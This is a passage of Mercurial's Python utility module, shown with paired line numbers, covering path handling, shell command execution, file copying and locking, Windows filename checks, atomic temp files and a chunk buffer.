967 979 This garbage collector issue have been fixed in 2.7. But it still affect
968 980 CPython's performance.
969 981 """
970 982 def wrapper(*args, **kwargs):
971 983 gcenabled = gc.isenabled()
972 984 gc.disable()
973 985 try:
974 986 return func(*args, **kwargs)
975 987 finally:
976 988 if gcenabled:
977 989 gc.enable()
978 990 return wrapper
979 991
980 992 if pycompat.ispypy:
981 993 # PyPy runs slower with gc disabled
982 994 nogc = lambda x: x
983 995
984 996 def pathto(root, n1, n2):
985 997 '''return the relative path from one place to another.
986 998 root should use os.sep to separate directories
987 999 n1 should use os.sep to separate directories
988 1000 n2 should use "/" to separate directories
989 1001 returns an os.sep-separated path.
990 1002
991 1003 If n1 is a relative path, it's assumed it's
992 1004 relative to root.
993 1005 n2 should always be relative to root.
994 1006 '''
995 1007 if not n1:
996 1008 return localpath(n2)
997 1009 if os.path.isabs(n1):
998 1010 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
999 1011 return os.path.join(root, localpath(n2))
1000 1012 n2 = '/'.join((pconvert(root), n2))
1001 1013 a, b = splitpath(n1), n2.split('/')
1002 1014 a.reverse()
1003 1015 b.reverse()
1004 1016 while a and b and a[-1] == b[-1]:
1005 1017 a.pop()
1006 1018 b.pop()
1007 1019 b.reverse()
1008 1020 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1009 1021
1010 1022 def mainfrozen():
1011 1023 """return True if we are a frozen executable.
1012 1024
1013 1025 The code supports py2exe (most common, Windows only) and tools/freeze
1014 1026 (portable, not much used).
1015 1027 """
1016 1028 return (safehasattr(sys, "frozen") or # new py2exe
1017 1029 safehasattr(sys, "importers") or # old py2exe
1018 1030 imp.is_frozen(u"__main__")) # tools/freeze
1019 1031
1020 1032 # the location of data files matching the source code
1021 1033 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1022 1034 # executable version (py2exe) doesn't support __file__
1023 1035 datapath = os.path.dirname(pycompat.sysexecutable)
1024 1036 else:
1025 1037 datapath = os.path.dirname(pycompat.fsencode(__file__))
1026 1038
1027 1039 i18n.setdatapath(datapath)
1028 1040
1029 1041 _hgexecutable = None
1030 1042
1031 1043 def hgexecutable():
1032 1044 """return location of the 'hg' executable.
1033 1045
1034 1046 Defaults to $HG or 'hg' in the search path.
1035 1047 """
1036 1048 if _hgexecutable is None:
1037 1049 hg = encoding.environ.get('HG')
1038 1050 mainmod = sys.modules[pycompat.sysstr('__main__')]
1039 1051 if hg:
1040 1052 _sethgexecutable(hg)
1041 1053 elif mainfrozen():
1042 1054 if getattr(sys, 'frozen', None) == 'macosx_app':
1043 1055 # Env variable set by py2app
1044 1056 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
1045 1057 else:
1046 1058 _sethgexecutable(pycompat.sysexecutable)
1047 1059 elif (os.path.basename(
1048 1060 pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
1049 1061 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
1050 1062 else:
1051 1063 exe = findexe('hg') or os.path.basename(sys.argv[0])
1052 1064 _sethgexecutable(exe)
1053 1065 return _hgexecutable
1054 1066
1055 1067 def _sethgexecutable(path):
1056 1068 """set location of the 'hg' executable"""
1057 1069 global _hgexecutable
1058 1070 _hgexecutable = path
1059 1071
1060 1072 def _isstdout(f):
1061 1073 fileno = getattr(f, 'fileno', None)
1062 1074 return fileno and fileno() == sys.__stdout__.fileno()
1063 1075
1064 1076 def shellenviron(environ=None):
1065 1077 """return environ with optional override, useful for shelling out"""
1066 1078 def py2shell(val):
1067 1079 'convert python object into string that is useful to shell'
1068 1080 if val is None or val is False:
1069 1081 return '0'
1070 1082 if val is True:
1071 1083 return '1'
1072 1084 return str(val)
1073 1085 env = dict(encoding.environ)
1074 1086 if environ:
1075 1087 env.update((k, py2shell(v)) for k, v in environ.iteritems())
1076 1088 env['HG'] = hgexecutable()
1077 1089 return env
1078 1090
1079 1091 def system(cmd, environ=None, cwd=None, out=None):
1080 1092 '''enhanced shell command execution.
1081 1093 run with environment maybe modified, maybe in different dir.
1082 1094
1083 1095 if out is specified, it is assumed to be a file-like object that has a
1084 1096 write() method. stdout and stderr will be redirected to out.'''
1085 1097 try:
1086 1098 stdout.flush()
1087 1099 except Exception:
1088 1100 pass
1089 1101 cmd = quotecommand(cmd)
1090 1102 env = shellenviron(environ)
1091 1103 if out is None or _isstdout(out):
1092 1104 rc = subprocess.call(cmd, shell=True, close_fds=closefds,
1093 1105 env=env, cwd=cwd)
1094 1106 else:
1095 1107 proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1096 1108 env=env, cwd=cwd, stdout=subprocess.PIPE,
1097 1109 stderr=subprocess.STDOUT)
1098 1110 for line in iter(proc.stdout.readline, ''):
1099 1111 out.write(line)
1100 1112 proc.wait()
1101 1113 rc = proc.returncode
1102 1114 if pycompat.sysplatform == 'OpenVMS' and rc & 1:
1103 1115 rc = 0
1104 1116 return rc
1105 1117
1106 1118 def checksignature(func):
1107 1119 '''wrap a function with code to check for calling errors'''
1108 1120 def check(*args, **kwargs):
1109 1121 try:
1110 1122 return func(*args, **kwargs)
1111 1123 except TypeError:
1112 1124 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1113 1125 raise error.SignatureError
1114 1126 raise
1115 1127
1116 1128 return check
1117 1129
1118 1130 # a whilelist of known filesystems where hardlink works reliably
1119 1131 _hardlinkfswhitelist = {
1120 1132 'btrfs',
1121 1133 'ext2',
1122 1134 'ext3',
1123 1135 'ext4',
1124 1136 'hfs',
1125 1137 'jfs',
1126 1138 'reiserfs',
1127 1139 'tmpfs',
1128 1140 'ufs',
1129 1141 'xfs',
1130 1142 'zfs',
1131 1143 }
1132 1144
1133 1145 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1134 1146 '''copy a file, preserving mode and optionally other stat info like
1135 1147 atime/mtime
1136 1148
1137 1149 checkambig argument is used with filestat, and is useful only if
1138 1150 destination file is guarded by any lock (e.g. repo.lock or
1139 1151 repo.wlock).
1140 1152
1141 1153 copystat and checkambig should be exclusive.
1142 1154 '''
1143 1155 assert not (copystat and checkambig)
1144 1156 oldstat = None
1145 1157 if os.path.lexists(dest):
1146 1158 if checkambig:
1147 1159 oldstat = checkambig and filestat.frompath(dest)
1148 1160 unlink(dest)
1149 1161 if hardlink:
1150 1162 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1151 1163 # unless we are confident that dest is on a whitelisted filesystem.
1152 1164 try:
1153 1165 fstype = getfstype(os.path.dirname(dest))
1154 1166 except OSError:
1155 1167 fstype = None
1156 1168 if fstype not in _hardlinkfswhitelist:
1157 1169 hardlink = False
1158 1170 if hardlink:
1159 1171 try:
1160 1172 oslink(src, dest)
1161 1173 return
1162 1174 except (IOError, OSError):
1163 1175 pass # fall back to normal copy
1164 1176 if os.path.islink(src):
1165 1177 os.symlink(os.readlink(src), dest)
1166 1178 # copytime is ignored for symlinks, but in general copytime isn't needed
1167 1179 # for them anyway
1168 1180 else:
1169 1181 try:
1170 1182 shutil.copyfile(src, dest)
1171 1183 if copystat:
1172 1184 # copystat also copies mode
1173 1185 shutil.copystat(src, dest)
1174 1186 else:
1175 1187 shutil.copymode(src, dest)
1176 1188 if oldstat and oldstat.stat:
1177 1189 newstat = filestat.frompath(dest)
1178 1190 if newstat.isambig(oldstat):
1179 1191 # stat of copied file is ambiguous to original one
1180 1192 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1181 1193 os.utime(dest, (advanced, advanced))
1182 1194 except shutil.Error as inst:
1183 1195 raise Abort(str(inst))
1184 1196
1185 1197 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1186 1198 """Copy a directory tree using hardlinks if possible."""
1187 1199 num = 0
1188 1200
1189 1201 gettopic = lambda: hardlink and _('linking') or _('copying')
1190 1202
1191 1203 if os.path.isdir(src):
1192 1204 if hardlink is None:
1193 1205 hardlink = (os.stat(src).st_dev ==
1194 1206 os.stat(os.path.dirname(dst)).st_dev)
1195 1207 topic = gettopic()
1196 1208 os.mkdir(dst)
1197 1209 for name, kind in listdir(src):
1198 1210 srcname = os.path.join(src, name)
1199 1211 dstname = os.path.join(dst, name)
1200 1212 def nprog(t, pos):
1201 1213 if pos is not None:
1202 1214 return progress(t, pos + num)
1203 1215 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1204 1216 num += n
1205 1217 else:
1206 1218 if hardlink is None:
1207 1219 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1208 1220 os.stat(os.path.dirname(dst)).st_dev)
1209 1221 topic = gettopic()
1210 1222
1211 1223 if hardlink:
1212 1224 try:
1213 1225 oslink(src, dst)
1214 1226 except (IOError, OSError):
1215 1227 hardlink = False
1216 1228 shutil.copy(src, dst)
1217 1229 else:
1218 1230 shutil.copy(src, dst)
1219 1231 num += 1
1220 1232 progress(topic, num)
1221 1233 progress(topic, None)
1222 1234
1223 1235 return hardlink, num
1224 1236
1225 1237 _winreservednames = b'''con prn aux nul
1226 1238 com1 com2 com3 com4 com5 com6 com7 com8 com9
1227 1239 lpt1 lpt2 lpt3 lpt4 lpt5 lpt6 lpt7 lpt8 lpt9'''.split()
1228 1240 _winreservedchars = ':*?"<>|'
1229 1241 def checkwinfilename(path):
1230 1242 r'''Check that the base-relative path is a valid filename on Windows.
1231 1243 Returns None if the path is ok, or a UI string describing the problem.
1232 1244
1233 1245 >>> checkwinfilename("just/a/normal/path")
1234 1246 >>> checkwinfilename("foo/bar/con.xml")
1235 1247 "filename contains 'con', which is reserved on Windows"
1236 1248 >>> checkwinfilename("foo/con.xml/bar")
1237 1249 "filename contains 'con', which is reserved on Windows"
1238 1250 >>> checkwinfilename("foo/bar/xml.con")
1239 1251 >>> checkwinfilename("foo/bar/AUX/bla.txt")
1240 1252 "filename contains 'AUX', which is reserved on Windows"
1241 1253 >>> checkwinfilename("foo/bar/bla:.txt")
1242 1254 "filename contains ':', which is reserved on Windows"
1243 1255 >>> checkwinfilename("foo/bar/b\07la.txt")
1244 1256 "filename contains '\\x07', which is invalid on Windows"
1245 1257 >>> checkwinfilename("foo/bar/bla ")
1246 1258 "filename ends with ' ', which is not allowed on Windows"
1247 1259 >>> checkwinfilename("../bar")
1248 1260 >>> checkwinfilename("foo\\")
1249 1261 "filename ends with '\\', which is invalid on Windows"
1250 1262 >>> checkwinfilename("foo\\/bar")
1251 1263 "directory name ends with '\\', which is invalid on Windows"
1252 1264 '''
1253 1265 if path.endswith('\\'):
1254 1266 return _("filename ends with '\\', which is invalid on Windows")
1255 1267 if '\\/' in path:
1256 1268 return _("directory name ends with '\\', which is invalid on Windows")
1257 1269 for n in path.replace('\\', '/').split('/'):
1258 1270 if not n:
1259 1271 continue
1260 1272 for c in _filenamebytestr(n):
1261 1273 if c in _winreservedchars:
1262 1274 return _("filename contains '%s', which is reserved "
1263 1275 "on Windows") % c
1264 1276 if ord(c) <= 31:
1265 1277 return _("filename contains %r, which is invalid "
1266 1278 "on Windows") % c
1267 1279 base = n.split('.')[0]
1268 1280 if base and base.lower() in _winreservednames:
1269 1281 return _("filename contains '%s', which is reserved "
1270 1282 "on Windows") % base
1271 1283 t = n[-1]
1272 1284 if t in '. ' and n not in '..':
1273 1285 return _("filename ends with '%s', which is not allowed "
1274 1286 "on Windows") % t
1275 1287
1276 1288 if pycompat.osname == 'nt':
1277 1289 checkosfilename = checkwinfilename
1278 1290 timer = time.clock
1279 1291 else:
1280 1292 checkosfilename = platform.checkosfilename
1281 1293 timer = time.time
1282 1294
1283 1295 if safehasattr(time, "perf_counter"):
1284 1296 timer = time.perf_counter
1285 1297
1286 1298 def makelock(info, pathname):
1287 1299 try:
1288 1300 return os.symlink(info, pathname)
1289 1301 except OSError as why:
1290 1302 if why.errno == errno.EEXIST:
1291 1303 raise
1292 1304 except AttributeError: # no symlink in os
1293 1305 pass
1294 1306
1295 1307 ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL)
1296 1308 os.write(ld, info)
1297 1309 os.close(ld)
1298 1310
1299 1311 def readlock(pathname):
1300 1312 try:
1301 1313 return os.readlink(pathname)
1302 1314 except OSError as why:
1303 1315 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1304 1316 raise
1305 1317 except AttributeError: # no symlink in os
1306 1318 pass
1307 1319 fp = posixfile(pathname)
1308 1320 r = fp.read()
1309 1321 fp.close()
1310 1322 return r
1311 1323
1312 1324 def fstat(fp):
1313 1325 '''stat file object that may not have fileno method.'''
1314 1326 try:
1315 1327 return os.fstat(fp.fileno())
1316 1328 except AttributeError:
1317 1329 return os.stat(fp.name)
1318 1330
1319 1331 # File system features
1320 1332
1321 1333 def fscasesensitive(path):
1322 1334 """
1323 1335 Return true if the given path is on a case-sensitive filesystem
1324 1336
1325 1337 Requires a path (like /foo/.hg) ending with a foldable final
1326 1338 directory component.
1327 1339 """
1328 1340 s1 = os.lstat(path)
1329 1341 d, b = os.path.split(path)
1330 1342 b2 = b.upper()
1331 1343 if b == b2:
1332 1344 b2 = b.lower()
1333 1345 if b == b2:
1334 1346 return True # no evidence against case sensitivity
1335 1347 p2 = os.path.join(d, b2)
1336 1348 try:
1337 1349 s2 = os.lstat(p2)
1338 1350 if s2 == s1:
1339 1351 return False
1340 1352 return True
1341 1353 except OSError:
1342 1354 return True
1343 1355
1344 1356 try:
1345 1357 import re2
1346 1358 _re2 = None
1347 1359 except ImportError:
1348 1360 _re2 = False
1349 1361
1350 1362 class _re(object):
1351 1363 def _checkre2(self):
1352 1364 global _re2
1353 1365 try:
1354 1366 # check if match works, see issue3964
1355 1367 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1356 1368 except ImportError:
1357 1369 _re2 = False
1358 1370
1359 1371 def compile(self, pat, flags=0):
1360 1372 '''Compile a regular expression, using re2 if possible
1361 1373
1362 1374 For best performance, use only re2-compatible regexp features. The
1363 1375 only flags from the re module that are re2-compatible are
1364 1376 IGNORECASE and MULTILINE.'''
1365 1377 if _re2 is None:
1366 1378 self._checkre2()
1367 1379 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1368 1380 if flags & remod.IGNORECASE:
1369 1381 pat = '(?i)' + pat
1370 1382 if flags & remod.MULTILINE:
1371 1383 pat = '(?m)' + pat
1372 1384 try:
1373 1385 return re2.compile(pat)
1374 1386 except re2.error:
1375 1387 pass
1376 1388 return remod.compile(pat, flags)
1377 1389
1378 1390 @propertycache
1379 1391 def escape(self):
1380 1392 '''Return the version of escape corresponding to self.compile.
1381 1393
1382 1394 This is imperfect because whether re2 or re is used for a particular
1383 1395 function depends on the flags, etc, but it's the best we can do.
1384 1396 '''
1385 1397 global _re2
1386 1398 if _re2 is None:
1387 1399 self._checkre2()
1388 1400 if _re2:
1389 1401 return re2.escape
1390 1402 else:
1391 1403 return remod.escape
1392 1404
1393 1405 re = _re()
1394 1406
1395 1407 _fspathcache = {}
1396 1408 def fspath(name, root):
1397 1409 '''Get name in the case stored in the filesystem
1398 1410
1399 1411 The name should be relative to root, and be normcase-ed for efficiency.
1400 1412
1401 1413 Note that this function is unnecessary, and should not be
1402 1414 called, for case-sensitive filesystems (simply because it's expensive).
1403 1415
1404 1416 The root should be normcase-ed, too.
1405 1417 '''
1406 1418 def _makefspathcacheentry(dir):
1407 1419 return dict((normcase(n), n) for n in os.listdir(dir))
1408 1420
1409 1421 seps = pycompat.ossep
1410 1422 if pycompat.osaltsep:
1411 1423 seps = seps + pycompat.osaltsep
1412 1424 # Protect backslashes. This gets silly very quickly.
1413 1425 seps.replace('\\','\\\\')
1414 1426 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1415 1427 dir = os.path.normpath(root)
1416 1428 result = []
1417 1429 for part, sep in pattern.findall(name):
1418 1430 if sep:
1419 1431 result.append(sep)
1420 1432 continue
1421 1433
1422 1434 if dir not in _fspathcache:
1423 1435 _fspathcache[dir] = _makefspathcacheentry(dir)
1424 1436 contents = _fspathcache[dir]
1425 1437
1426 1438 found = contents.get(part)
1427 1439 if not found:
1428 1440 # retry "once per directory" per "dirstate.walk" which
1429 1441 # may take place for each patches of "hg qpush", for example
1430 1442 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1431 1443 found = contents.get(part)
1432 1444
1433 1445 result.append(found or part)
1434 1446 dir = os.path.join(dir, part)
1435 1447
1436 1448 return ''.join(result)
1437 1449
1438 1450 def getfstype(dirpath):
1439 1451 '''Get the filesystem type name from a directory (best-effort)
1440 1452
1441 1453 Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc.
1442 1454 '''
1443 1455 return getattr(osutil, 'getfstype', lambda x: None)(dirpath)
1444 1456
1445 1457 def checknlink(testfile):
1446 1458 '''check whether hardlink count reporting works properly'''
1447 1459
1448 1460 # testfile may be open, so we need a separate file for checking to
1449 1461 # work around issue2543 (or testfile may get lost on Samba shares)
1450 1462 f1 = testfile + ".hgtmp1"
1451 1463 if os.path.lexists(f1):
1452 1464 return False
1453 1465 try:
1454 1466 posixfile(f1, 'w').close()
1455 1467 except IOError:
1456 1468 try:
1457 1469 os.unlink(f1)
1458 1470 except OSError:
1459 1471 pass
1460 1472 return False
1461 1473
1462 1474 f2 = testfile + ".hgtmp2"
1463 1475 fd = None
1464 1476 try:
1465 1477 oslink(f1, f2)
1466 1478 # nlinks() may behave differently for files on Windows shares if
1467 1479 # the file is open.
1468 1480 fd = posixfile(f2)
1469 1481 return nlinks(f2) > 1
1470 1482 except OSError:
1471 1483 return False
1472 1484 finally:
1473 1485 if fd is not None:
1474 1486 fd.close()
1475 1487 for f in (f1, f2):
1476 1488 try:
1477 1489 os.unlink(f)
1478 1490 except OSError:
1479 1491 pass
1480 1492
1481 1493 def endswithsep(path):
1482 1494 '''Check path ends with os.sep or os.altsep.'''
1483 1495 return (path.endswith(pycompat.ossep)
1484 1496 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1485 1497
1486 1498 def splitpath(path):
1487 1499 '''Split path by os.sep.
1488 1500 Note that this function does not use os.altsep because this is
1489 1501 an alternative of simple "xxx.split(os.sep)".
1490 1502 It is recommended to use os.path.normpath() before using this
1491 1503 function if need.'''
1492 1504 return path.split(pycompat.ossep)
1493 1505
1494 1506 def gui():
1495 1507 '''Are we running in a GUI?'''
1496 1508 if pycompat.sysplatform == 'darwin':
1497 1509 if 'SSH_CONNECTION' in encoding.environ:
1498 1510 # handle SSH access to a box where the user is logged in
1499 1511 return False
1500 1512 elif getattr(osutil, 'isgui', None):
1501 1513 # check if a CoreGraphics session is available
1502 1514 return osutil.isgui()
1503 1515 else:
1504 1516 # pure build; use a safe default
1505 1517 return True
1506 1518 else:
1507 1519 return pycompat.osname == "nt" or encoding.environ.get("DISPLAY")
1508 1520
1509 1521 def mktempcopy(name, emptyok=False, createmode=None):
1510 1522 """Create a temporary file with the same contents from name
1511 1523
1512 1524 The permission bits are copied from the original file.
1513 1525
1514 1526 If the temporary file is going to be truncated immediately, you
1515 1527 can use emptyok=True as an optimization.
1516 1528
1517 1529 Returns the name of the temporary file.
1518 1530 """
1519 1531 d, fn = os.path.split(name)
1520 1532 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, dir=d)
1521 1533 os.close(fd)
1522 1534 # Temporary files are created with mode 0600, which is usually not
1523 1535 # what we want. If the original file already exists, just copy
1524 1536 # its mode. Otherwise, manually obey umask.
1525 1537 copymode(name, temp, createmode)
1526 1538 if emptyok:
1527 1539 return temp
1528 1540 try:
1529 1541 try:
1530 1542 ifp = posixfile(name, "rb")
1531 1543 except IOError as inst:
1532 1544 if inst.errno == errno.ENOENT:
1533 1545 return temp
1534 1546 if not getattr(inst, 'filename', None):
1535 1547 inst.filename = name
1536 1548 raise
1537 1549 ofp = posixfile(temp, "wb")
1538 1550 for chunk in filechunkiter(ifp):
1539 1551 ofp.write(chunk)
1540 1552 ifp.close()
1541 1553 ofp.close()
1542 1554 except: # re-raises
1543 1555 try: os.unlink(temp)
1544 1556 except OSError: pass
1545 1557 raise
1546 1558 return temp
1547 1559
1548 1560 class filestat(object):
1549 1561 """help to exactly detect change of a file
1550 1562
1551 1563 'stat' attribute is result of 'os.stat()' if specified 'path'
1552 1564 exists. Otherwise, it is None. This can avoid preparative
1553 1565 'exists()' examination on client side of this class.
1554 1566 """
1555 1567 def __init__(self, stat):
1556 1568 self.stat = stat
1557 1569
1558 1570 @classmethod
1559 1571 def frompath(cls, path):
1560 1572 try:
1561 1573 stat = os.stat(path)
1562 1574 except OSError as err:
1563 1575 if err.errno != errno.ENOENT:
1564 1576 raise
1565 1577 stat = None
1566 1578 return cls(stat)
1567 1579
1568 1580 @classmethod
1569 1581 def fromfp(cls, fp):
1570 1582 stat = os.fstat(fp.fileno())
1571 1583 return cls(stat)
1572 1584
1573 1585 __hash__ = object.__hash__
1574 1586
1575 1587 def __eq__(self, old):
1576 1588 try:
1577 1589 # if ambiguity between stat of new and old file is
1578 1590 # avoided, comparison of size, ctime and mtime is enough
1579 1591 # to exactly detect change of a file regardless of platform
1580 1592 return (self.stat.st_size == old.stat.st_size and
1581 1593 self.stat.st_ctime == old.stat.st_ctime and
1582 1594 self.stat.st_mtime == old.stat.st_mtime)
1583 1595 except AttributeError:
1584 1596 pass
1585 1597 try:
1586 1598 return self.stat is None and old.stat is None
1587 1599 except AttributeError:
1588 1600 return False
1589 1601
1590 1602 def isambig(self, old):
1591 1603 """Examine whether new (= self) stat is ambiguous against old one
1592 1604
1593 1605 "S[N]" below means stat of a file at N-th change:
1594 1606
1595 1607 - S[n-1].ctime < S[n].ctime: can detect change of a file
1596 1608 - S[n-1].ctime == S[n].ctime
1597 1609 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
1598 1610 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
1599 1611 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
1600 1612 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
1601 1613
1602 1614 Case (*2) above means that a file was changed twice or more at
1603 1615 same time in sec (= S[n-1].ctime), and comparison of timestamp
1604 1616 is ambiguous.
1605 1617
1606 1618 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
1607 1619 timestamp is ambiguous".
1608 1620
1609 1621 But advancing mtime only in case (*2) doesn't work as
1610 1622 expected, because naturally advanced S[n].mtime in case (*1)
1611 1623 might be equal to manually advanced S[n-1 or earlier].mtime.
1612 1624
1613 1625 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
1614 1626 treated as ambiguous regardless of mtime, to avoid overlooking
1615 1627 by confliction between such mtime.
1616 1628
1617 1629 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
1618 1630 S[n].mtime", even if size of a file isn't changed.
1619 1631 """
1620 1632 try:
1621 1633 return (self.stat.st_ctime == old.stat.st_ctime)
1622 1634 except AttributeError:
1623 1635 return False
1624 1636
1625 1637 def avoidambig(self, path, old):
1626 1638 """Change file stat of specified path to avoid ambiguity
1627 1639
1628 1640 'old' should be previous filestat of 'path'.
1629 1641
1630 1642 This skips avoiding ambiguity, if a process doesn't have
1631 1643 appropriate privileges for 'path'. This returns False in this
1632 1644 case.
1633 1645
1634 1646 Otherwise, this returns True, as "ambiguity is avoided".
1635 1647 """
1636 1648 advanced = (old.stat.st_mtime + 1) & 0x7fffffff
1637 1649 try:
1638 1650 os.utime(path, (advanced, advanced))
1639 1651 except OSError as inst:
1640 1652 if inst.errno == errno.EPERM:
1641 1653 # utime() on the file created by another user causes EPERM,
1642 1654 # if a process doesn't have appropriate privileges
1643 1655 return False
1644 1656 raise
1645 1657 return True
1646 1658
1647 1659 def __ne__(self, other):
1648 1660 return not self == other
1649 1661
1650 1662 class atomictempfile(object):
1651 1663 '''writable file object that atomically updates a file
1652 1664
1653 1665 All writes will go to a temporary copy of the original file. Call
1654 1666 close() when you are done writing, and atomictempfile will rename
1655 1667 the temporary copy to the original name, making the changes
1656 1668 visible. If the object is destroyed without being closed, all your
1657 1669 writes are discarded.
1658 1670
1659 1671 checkambig argument of constructor is used with filestat, and is
1660 1672 useful only if target file is guarded by any lock (e.g. repo.lock
1661 1673 or repo.wlock).
1662 1674 '''
1663 1675 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
1664 1676 self.__name = name # permanent name
1665 1677 self._tempname = mktempcopy(name, emptyok=('w' in mode),
1666 1678 createmode=createmode)
1667 1679 self._fp = posixfile(self._tempname, mode)
1668 1680 self._checkambig = checkambig
1669 1681
1670 1682 # delegated methods
1671 1683 self.read = self._fp.read
1672 1684 self.write = self._fp.write
1673 1685 self.seek = self._fp.seek
1674 1686 self.tell = self._fp.tell
1675 1687 self.fileno = self._fp.fileno
1676 1688
1677 1689 def close(self):
1678 1690 if not self._fp.closed:
1679 1691 self._fp.close()
1680 1692 filename = localpath(self.__name)
1681 1693 oldstat = self._checkambig and filestat.frompath(filename)
1682 1694 if oldstat and oldstat.stat:
1683 1695 rename(self._tempname, filename)
1684 1696 newstat = filestat.frompath(filename)
1685 1697 if newstat.isambig(oldstat):
1686 1698 # stat of changed file is ambiguous to original one
1687 1699 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1688 1700 os.utime(filename, (advanced, advanced))
1689 1701 else:
1690 1702 rename(self._tempname, filename)
1691 1703
1692 1704 def discard(self):
1693 1705 if not self._fp.closed:
1694 1706 try:
1695 1707 os.unlink(self._tempname)
1696 1708 except OSError:
1697 1709 pass
1698 1710 self._fp.close()
1699 1711
1700 1712 def __del__(self):
1701 1713 if safehasattr(self, '_fp'): # constructor actually did something
1702 1714 self.discard()
1703 1715
1704 1716 def __enter__(self):
1705 1717 return self
1706 1718
1707 1719 def __exit__(self, exctype, excvalue, traceback):
1708 1720 if exctype is not None:
1709 1721 self.discard()
1710 1722 else:
1711 1723 self.close()
1712 1724
1713 1725 def unlinkpath(f, ignoremissing=False):
1714 1726 """unlink and remove the directory if it is empty"""
1715 1727 if ignoremissing:
1716 1728 tryunlink(f)
1717 1729 else:
1718 1730 unlink(f)
1719 1731 # try removing directories that might now be empty
1720 1732 try:
1721 1733 removedirs(os.path.dirname(f))
1722 1734 except OSError:
1723 1735 pass
1724 1736
1725 1737 def tryunlink(f):
1726 1738 """Attempt to remove a file, ignoring ENOENT errors."""
1727 1739 try:
1728 1740 unlink(f)
1729 1741 except OSError as e:
1730 1742 if e.errno != errno.ENOENT:
1731 1743 raise
1732 1744
1733 1745 def makedirs(name, mode=None, notindexed=False):
1734 1746 """recursive directory creation with parent mode inheritance
1735 1747
1736 1748 Newly created directories are marked as "not to be indexed by
1737 1749 the content indexing service", if ``notindexed`` is specified
1738 1750 for "write" mode access.
1739 1751 """
1740 1752 try:
1741 1753 makedir(name, notindexed)
1742 1754 except OSError as err:
1743 1755 if err.errno == errno.EEXIST:
1744 1756 return
1745 1757 if err.errno != errno.ENOENT or not name:
1746 1758 raise
1747 1759 parent = os.path.dirname(os.path.abspath(name))
1748 1760 if parent == name:
1749 1761 raise
1750 1762 makedirs(parent, mode, notindexed)
1751 1763 try:
1752 1764 makedir(name, notindexed)
1753 1765 except OSError as err:
1754 1766 # Catch EEXIST to handle races
1755 1767 if err.errno == errno.EEXIST:
1756 1768 return
1757 1769 raise
1758 1770 if mode is not None:
1759 1771 os.chmod(name, mode)
1760 1772
1761 1773 def readfile(path):
1762 1774 with open(path, 'rb') as fp:
1763 1775 return fp.read()
1764 1776
1765 1777 def writefile(path, text):
1766 1778 with open(path, 'wb') as fp:
1767 1779 fp.write(text)
1768 1780
1769 1781 def appendfile(path, text):
1770 1782 with open(path, 'ab') as fp:
1771 1783 fp.write(text)
1772 1784
1773 1785 class chunkbuffer(object):
1774 1786 """Allow arbitrary sized chunks of data to be efficiently read from an
1775 1787 iterator over chunks of arbitrary size."""
1776 1788
1777 1789 def __init__(self, in_iter):
1778 1790 """in_iter is the iterator that's iterating over the input chunks."""
1779 1791 def splitbig(chunks):
1780 1792 for chunk in chunks:
1781 1793 if len(chunk) > 2**20:
1782 1794 pos = 0
1783 1795 while pos < len(chunk):
1784 1796 end = pos + 2 ** 18
1785 1797 yield chunk[pos:end]
1786 1798 pos = end
1787 1799 else:
1788 1800 yield chunk
1789 1801 self.iter = splitbig(in_iter)
1790 1802 self._queue = collections.deque()
1791 1803 self._chunkoffset = 0
1792 1804
1793 1805 def read(self, l=None):
1794 1806 """Read L bytes of data from the iterator of chunks of data.
1795 1807 Returns less than L bytes if the iterator runs dry.
1796 1808
1797 1809 If size parameter is omitted, read everything"""
1798 1810 if l is None:
1799 1811 return ''.join(self.iter)
1800 1812
1801 1813 left = l
1802 1814 buf = []
1803 1815 queue = self._queue
1804 1816 while left > 0:
1805 1817 # refill the queue
1806 1818 if not queue:
1807 1819 target = 2**18
1808 1820 for chunk in self.iter:
1809 1821 queue.append(chunk)
1810 1822 target -= len(chunk)
1811 1823 if target <= 0:
1812 1824 break
1813 1825 if not queue:
1814 1826 break
1815 1827
1816 1828 # The easy way to do this would be to queue.popleft(), modify the
1817 1829 # chunk (if necessary), then queue.appendleft(). However, for cases
1818 1830 # where we read partial chunk content, this incurs 2 dequeue
1819 1831 # mutations and creates a new str for the remaining chunk in the
1820 1832 # queue. Our code below avoids this overhead.
1821 1833
1822 1834 chunk = queue[0]
1823 1835 chunkl = len(chunk)
1824 1836 offset = self._chunkoffset
1825 1837
1826 1838 # Use full chunk.
1827 1839 if offset == 0 and left >= chunkl:
1828 1840 left -= chunkl
1829 1841 queue.popleft()
1830 1842 buf.append(chunk)
1831 1843 # self._chunkoffset remains at 0.
1832 1844 continue
1833 1845
1834 1846 chunkremaining = chunkl - offset
1835 1847
1836 1848 # Use all of unconsumed part of chunk.
1837 1849 if left >= chunkremaining:
